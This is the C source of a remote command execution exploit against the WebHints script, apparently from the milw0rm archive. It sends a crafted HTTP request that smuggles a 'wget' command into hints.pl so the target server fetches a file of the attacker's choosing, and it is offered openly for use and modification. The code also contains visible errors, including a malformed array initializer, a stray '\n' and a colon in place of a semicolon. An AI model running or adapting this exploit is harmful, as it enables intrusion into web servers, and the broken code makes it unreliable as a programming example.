91 lines
No EOL
3.4 KiB
C
91 lines
No EOL
3.4 KiB
C
/*
|
|
**************************************************************************************
|
|
* T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m *
|
|
**************************************************************************************
|
|
EXPLOIT FOR : WebHints Remote C0mmand Execution Vuln
|
|
|
|
Coded By: A l p h a _ P r o g r a m m e r (Sirus-v)
|
|
E-Mail: Alpha_Programmer@Yahoo.Com
|
|
|
|
This Xpl Upload a Page in Vulnerable Directory , You can Change This Code For Yourself
|
|
|
|
**************************************************************************************
|
|
* GR33tz T0 ==> mh_p0rtal -- oil_Karchack -- The-CephaleX -- Str0ke *
|
|
*And Iranian Security & Technical Sites: *
|
|
* *
|
|
* TechnoTux.Com , IranTux.Com , Iranlinux.ORG , Barnamenevis.ORG *
|
|
* Crouz , Simorgh-ev , IHSsecurity , AlphaST , Shabgard & GrayHatz.NeT *
|
|
**************************************************************************************
|
|
*/
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#pragma comment(lib, "ws2_32.lib")
|
|
#include <winsock2.h>
|
|
|
|
|
|
#define MY_PORT 80
|
|
#define BUF_LEN 256
|
|
/**************************************************************************************/
|
|
int main(int arg_c, char *arg_v[])
|
|
{
|
|
static const char cmd[] = "GET %chints.pl?|wget %c| HTTP/1.0\r\n\r\n" , arg_v[2] , arg_v[3];
|
|
|
|
struct sockaddr_in their_adr;
|
|
char buf[BUF_LEN];
|
|
struct hostent *he;
|
|
int sock, i;
|
|
WSADATA wsdata;
|
|
|
|
/* Winsock start up */
|
|
WSAStartup(0x0101, &wsdata);
|
|
atexit((void (*)(void))WSACleanup);
|
|
|
|
if(arg_c != 3)
|
|
{
|
|
printf("=========================================================\n");
|
|
printf(" Webhints Exploit By Alpha_Programmer\n");
|
|
printf(" Trap-set Underground Hacking Team\n");
|
|
printf(" Usage : webhints.exe [Targ3t] [DIR] [File Address]\n");
|
|
printf("=========================================================\n");
|
|
return 1;
|
|
}
|
|
/* create socket */
|
|
printf("calling socket()...\n");
|
|
sock = socket(AF_INET, SOCK_STREAM, 0);
|
|
|
|
/* get IP address of other end */
|
|
printf("calling gethostbyname()...\n");
|
|
he = gethostbyname(arg_v[1]);
|
|
if(he == NULL)
|
|
{
|
|
printf("can't get IP address of host '%s'\n", arg_v[1]);
|
|
return 1;
|
|
}
|
|
memset(&their_adr, 0, sizeof(their_adr));
|
|
their_adr.sin_family = AF_INET;
|
|
memcpy(&their_adr.sin_addr, he->h_addr, he->h_length);
|
|
their_adr.sin_port = htons(MY_PORT);
|
|
/* connect */
|
|
printf("C0nnecting...\n");
|
|
i = connect(sock, (struct sockaddr *)&their_adr, sizeof(their_adr));
|
|
if(i != 0)
|
|
{
|
|
printf("C0nnect() returned %d, errno=%d\n", i, errno);
|
|
return 1;
|
|
}
|
|
/* send H3ll C0mmand */
|
|
printf("Sending H3ll Packets...\n");
|
|
i = send(sock, cmd, sizeof(cmd), 0);
|
|
if(i != sizeof(cmd))
|
|
{
|
|
printf("Send. returned %d, errno=%d\n", i, errno);
|
|
return 1;
|
|
}\n
|
|
printf("OK ... Now You Can Test your file in hints.pl Directory\n"):
|
|
|
|
closesocket(sock);
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-06-11]
|